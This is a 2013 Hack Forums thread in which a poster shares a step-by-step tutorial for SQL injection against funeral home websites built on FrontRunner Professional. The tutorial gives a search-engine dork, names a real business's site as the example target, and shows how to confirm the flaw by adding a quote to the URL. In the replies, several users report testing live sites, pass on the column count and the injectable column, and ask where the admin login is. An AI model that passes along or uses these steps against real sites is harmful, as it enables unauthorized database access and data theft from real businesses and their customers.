Hack Forums
░▒▓[DORK OF THE DEAD:]►_ 100,000+ Funeral Home Websites are Vulnerable_[/TUTORIAL]▓▒░ - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: ░▒▓[DORK OF THE DEAD:]►_ 100,000+ Funeral Home Websites are Vulnerable_[/TUTORIAL]▓▒░ (/showthread.php?tid=3441282)

░▒▓[DORK OF THE DEAD:]►_ 100,000+ Funeral Home Websites are Vulnerable_[/TUTORIAL]▓▒░ - ｍＯｂｉＩｅ - Apr 27, 2013


[img]http://www.affuneraldirectors.com.au/images/coffin.png[/img]
[Image: gmCDNwT.png]


I've been calling this the "Dork of the Dead" because every website is Funeral Home related.

Idk if this would be considered an 0day but the popular Funeral Home Websites with FrontRunner Professional is vulnerable to SQLi. The vulnerability lies within their Funeral Home Management Software 😏

Official Website:
www.frontrunnerpro.com

Worth & Traffic:
[Image: 6419BiX.jpg]

Tutorial:

1.) Go to www.google.com

2.) DORK: runtime.php?SiteId=
( or click >/10Jylao]HERE )

3.) Click on any website.

EXAMPLE SITE:
PHP Code

<?php 
http://www.andersonstributecenter.com/runtime.php?SiteId=7022&NavigatorId=74622 

4.) And Remove:
PHP Code

<?php 
&NavigatorId= 

from the URL so it looks like this;
PHP Code

<?php 
http://www.andersonstributecenter.com/runtime.php?SiteId=7022 

5.) Then just add ' to the end of the URL.
PHP Code

<?php 
http://www.andersonstributecenter.com/runtime.php?SiteId=7022' 

>Results Page;
[Image: jWg5If8.jpg]

Enjoy! Thanks for viewing my thread. 🤝

* - black_wolf - Apr 27, 2013

Thanks for posting this I shall look upond this later

* - Mimix - Apr 27, 2013

Thanks i will look it up right now:)

* - bandors - Apr 27, 2013

Haha, put up "ten percent off if you are berried before you die."
I've got something to do later ^_^

* - bluespider600 - Apr 27, 2013

Tried one of them, definitely vulnerable :D
Nice find, OP

* - SIM-1241186 - Apr 27, 2013

Nice find. But you don't need to remove "&NavigatorId=" you can just inject in between it. Although it makes the url look a bit cleaner I suppose.

Good job OP.

* - Z0mbie. - Apr 27, 2013

Nice find.
will be taking a look a this.

* - Processor - Apr 27, 2013

Awesome work again mobile! Always contributing amazing things!

Also their is 80 columns in every one that I have tried..

* - ๖ۣۜAlexander - Apr 28, 2013

(Apr 27, 2013 07:42 PM)Processor Wrote:  Awesome work again mobile! Always contributing amazing things!

Also their is 80 columns in every one that I have tried..

Same, the column count is 80.. is this right?

* - Cathal - Apr 28, 2013

Great post as always. Anyone know where to login? :P

* - Processor - Apr 28, 2013

(Apr 28, 2013 03:38 AM)AnonGenReleases Wrote:  Same, the column count is 80.. is this right?

Yes it is right! And so far 15 is always the vuln column! So exploit away! 🎉

* - ๖ۣۜAlexander - Apr 29, 2013

(Apr 28, 2013 05:08 PM)Processor Wrote:  Yes it is right! And so far 15 is always the vuln column! So exploit away! 🎉

Hehe thanks. For now I haven't really found something interesting.